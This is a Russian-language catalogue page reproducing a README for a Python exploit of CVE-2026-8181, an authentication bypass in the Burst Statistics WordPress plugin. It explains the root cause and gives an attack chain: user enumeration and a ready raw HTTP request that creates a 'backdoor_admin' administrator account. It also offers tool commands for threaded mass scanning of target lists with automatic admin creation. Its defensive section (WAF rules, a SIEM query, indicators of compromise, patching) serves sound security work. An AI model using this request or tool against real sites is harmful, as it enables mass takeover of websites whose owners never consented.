Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8181-PoC — Python PoC для CVE-2026-8181, критический обход аутентификации в плагине Burst Statistics для WordPress. Включает автоматизацию эксплуатации, массовое сканирование и создание учетной записи администратора для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/squamity/cve-2026-8181-poc
Оборонительные ИнструментыАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
squamity/cve-2026-8181-poc

CVE-2026-8181-PoC

Python PoC для CVE-2026-8181, критический обход аутентификации в плагине Burst Statistics для WordPress. Включает автоматизацию эксплуатации, массовое сканирование и создание учетной записи администратора для авторизованного тестирования безопасности.

Репозиторий
51 месяц назадЕщё не проверено
Поделиться

🚨 CVE-2026-8181 | Обход аутентификации Burst Statistics

CVE-2026-8181 CVSS WordPress Plugin Affected Versions Actively Exploited

[!CAUTION] КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ: Эта уязвимость позволяет неаутентифицированному удалённому злоумышленнику обойти аутентификацию и получить полные привилегии администратора на целевом сайте WordPress, просто внедрив пользовательский HTTP-заголовок. Данный CVE в настоящее время активно эксплуатируется в реальных атаках.


📑 Содержание

  1. Краткое описание
  2. 🔬 Подробный анализ: первопричина
  3. ⚔️ Пособие для атакующего: эксплуатация
  4. 🛡️ Пособие для защиты: обнаружение и смягчение
  5. 🛠️ Использование PoC-инструмента
  6. Ссылки и отказ от ответственности

📖 Краткое описание

CVE-2026-8181 — критическая уязвимость обхода аутентификации, затрагивающая плагин Burst Statistics для WordPress (версии 3.4.0 – 3.4.1.1). Ошибка находится в интеграции с MainWP-прокси плагина. Из-за некорректной проверки паролей приложений во время раннего хука plugins_loaded плагин ошибочно предоставляет административный контекст REST API-запросам, содержащим заголовок X-BurstMainWP: 1, даже если в запросе отсутствуют действительные учётные данные.

Таким образом, простой неаутентифицированный HTTP-запрос превращается в полный захват административных прав, обходя все стандартные механизмы аутентификации WordPress.


🔬 Подробный анализ: первопричина

Чтобы понять, как простой заголовок даёт ключи от королевства, разберём PHP-логику в обработчике аутентификации плагина.

Уязвимый поток логики

Уязвимость возникает из-за некорректной условной ветки в методе is_mainwp_authenticated() файла includes/Frontend/class-mainwp-proxy.php.

  1. Триггер: Плагин регистрирует init() на хуке plugins_loaded с приоритетом 9. Это слишком рано в жизненном цикле WordPress.
  2. Хук: Когда запрос содержит заголовок X-BurstMainWP: 1, метод has_admin_access() делегирует аутентификацию методу is_mainwp_authenticated().
  3. Основной вызов: Метод читает заголовок Authorization и передаёт учётные данные в ядро WordPress — функцию wp_authenticate_application_password().
  4. Фатальная ошибка (CWE-287): Поскольку REST API ещё не установил фильтр application_password_is_api_request в true (из-за раннего выполнения хука), функция ядра возвращает null вместо объекта WP_Error.
  5. Обход: Плагин проверяет только is_wp_error( $user ). Поскольку null не является WP_Error, защита пропускается.
  6. Захват: Код попадает в небезопасную ветку, вызывая wp_set_current_user() с предоставленным злоумышленником именем пользователя, мгновенно повышая уровень запроса до полного административного контекста.

Псевдокод

root@kitploit:~
// Упрощённое представление уязвимого кода в Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );

if ( is_wp_error( $user ) ) {
    return false; // Корректно обрабатывает явные ошибки аутентификации
}

// 🚨 ФАТАЛЬНАЯ ОШИБКА 🚨
// Если пароль приложения не указан или запрос API ещё не помечен,
// wp_authenticate_application_password возвращает NULL.
// Код не проверяет NULL!
if ( $user === null ) {
    // Вместо безопасного отказа попадает в эту небезопасную ветку:
    $admin_user = get_user_by( 'login', $attacker_supplied_username );
    wp_set_current_user( $admin_user->ID ); // BOOM: Предоставлен контекст администратора!
    return true;
}

⚔️ Пособие для атакующего: эксплуатация

Этот раздел предназначен для Red Team и уполномоченных пентестеров.

Цепочка атаки

  1. Разведка: Определите, что цель использует Burst Statistics <= 3.4.1.1 (например, через /wp-content/plugins/burst-statistics/readme.txt).
  2. Перечисление пользователей: Найдите действительное имя пользователя-администратора. REST API WordPress часто раскрывает их через GET /wp-json/wp/v2/users. Если заблокировано, используйте трюк с архивом автора: /?author=1.
  3. Формирование полезной нагрузки: Создайте HTTP POST-запрос для создания нового пользователя: POST /wp-json/wp/v2/users.
  4. Внедрение заголовка: Внедрите магические заголовки:
    • X-BurstMainWP: 1
    • Authorization: Basic <base64(admin_username:fake_password)>
  5. Выполнение: Сервер обрабатывает запрос, попадает в ошибочную проверку null и повышает запрос до контекста администратора. Создаётся новый пользователь-администратор.

Пример сырого HTTP-запроса

root@kitploit:~
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json

{
  "username": "backdoor_admin",
  "password": "SuperSecretPassword123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

[!IMPORTANT] Важное замечание об окружении: Для успешной эксплуатации заголовок Authorization должен достигать PHP.

  • Nginx / LiteSpeed / Apache с человеко-понятными ссылками (Pretty Permalinks): Заголовок передаётся. Эксплойт УСПЕШЕН.
  • Apache с обычными ссылками (Plain Permalinks, по умолчанию): Заголовок молча отбрасывается веб-сервером. Эксплойт НЕУДАЧЕН.

🛡️ Пособие для защиты: обнаружение и смягчение

Этот раздел предназначен для Blue Team, SOC-аналитиков и системных администраторов.

🕵️ Стратегии обнаружения

1. Правила Web Application Firewall (WAF)

Заблокируйте или отслеживайте конкретный заголовок на границе сети.

Правило для ModSecurity / OWASP CRS:

root@kitploit:~
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
    "id:1000001, \
    phase:1, \
    deny, \
    status:403, \
    log, \
    msg:'CVE-2026-8181: Попытка обхода аутентификации Burst Statistics', \
    tag:'CVE-2026-8181', \
    severity:'CRITICAL'"

Пользовательское правило Cloudflare WAF:

(http.request.headers["X-BurstMainWP"] eq "1")


2. Анализ журналов и SIEM-запросы

Проверьте журналы веб-сервера на наличие заголовка в сочетании с созданием пользователей через REST API.

Запрос для Splunk / ELK:

root@kitploit:~
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0

3. Индикаторы компрометации (IoC)

При подозрении на взлом ищите следующие признаки пост-эксплуатации:

  • Новые пользователи-администраторы: Проверьте таблицу wp_users на наличие учётных записей, созданных через REST API с ролью administrator.
  • Подозрительные плагины: Проверьте wp-content/plugins/ на несанкционированные загрузки (часто веб-шеллы, замаскированные под легитимные плагины).
  • Изменённые файлы: Проверьте несанкционированные изменения в wp-content/themes/ или в основных файлах.

🛡️ Смягчение и восстановление

[!IMPORTANT] Требуется немедленное действие: Если вы используете уязвимую версию, немедленно примените одно из следующих смягчающих мер.

ПриоритетДействиеПодробности
P0Установите исправление плагинаОбновите Burst Statistics до версии 3.4.2 или выше немедленно через панель управления WordPress.
P1Виртуальное исправление WAFЕсли невозможно установить исправление немедленно, разверните правила WAF (выше) для блокировки заголовка X-BurstMainWP.
P2Ограничьте перечисление пользователейИспользуйте плагин безопасности или правила .htaccess для блокировки публичного доступа к /wp-json/wp/v2/users и /?author=*.
P3Аудит пользователей и файловЗапустите скрипт для проверки недавно созданных учётных записей администраторов и отзыва несанкционированного доступа. Просканируйте на веб-шеллы.

🛠️ Использование PoC-инструмента

Этот репозиторий содержит CVE-2026-8181.py — автоматизированный инструмент на Python для проверки уязвимости в авторизованных лабораторных средах.

Возможности

ВозможностьОписание
🎯 Одиночная цельСканирование конкретного сайта с помощью флага -u.
📦 Массовые операцииЗагрузка списка целей через -f targets.txt (поддерживаются комментарии через #).
⚡ ПараллелизмУскорение массового сканирования с помощью потоков (-j N).
💾 Умный вывод-o file.txt для общего отчёта. В массовом режиме логируются только успешные эксплойты.
📂 Индивидуальные дампыИспользуйте --output-dir для сохранения отдельных файлов .txt для каждого скомпрометированного хоста.
👤 Создание администратораИспользуйте --create-user для автоматического создания новой учётной записи администратора через REST API.
🔓 Лабораторный TLSИспользуйте -k для игнорирования ошибок SSL-сертификата (строго для локальных/доверенных лабораторных сред).

Быстрый старт

root@kitploit:~
# 1. Установите зависимости
pip3 install requests urllib3

# 2. Разведка одного сайта и автоматическое создание нового администратора
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k

# 3. Массовое сканирование с единым файлом успешных атак
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k

# 4. Массовое сканирование с индивидуальными отчётами по хостам
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k

📚 Ссылки и благодарности

  • Первооткрыватели: Chloe Chamberland и PRISM (Wordfence Threat Intelligence)
  • Запись CVE: MITRE CVE-2026-8181
  • Детали NVD: NIST NVD
  • Каталог плагинов: Burst Statistics

⚖️ Отказ от ответственности

[!WARNING] ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ.

Информация, предоставленная в этом репозитории, предназначена для образовательных целей, исследований в области безопасности и авторизованного тестирования на проникновение. Эксплуатация уязвимостей против систем без явного письменного разрешения владельца системы незаконна и нарушает международные киберзаконы.

Авторы и участники этого репозитория не несут никакой ответственности и не отвечают за любое неправомерное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента или информации. Всегда действуйте ответственно и этично.


Сделано с ❤️ от Squamity | Поддерживается для обучения защите и нападению
Скачать инструмент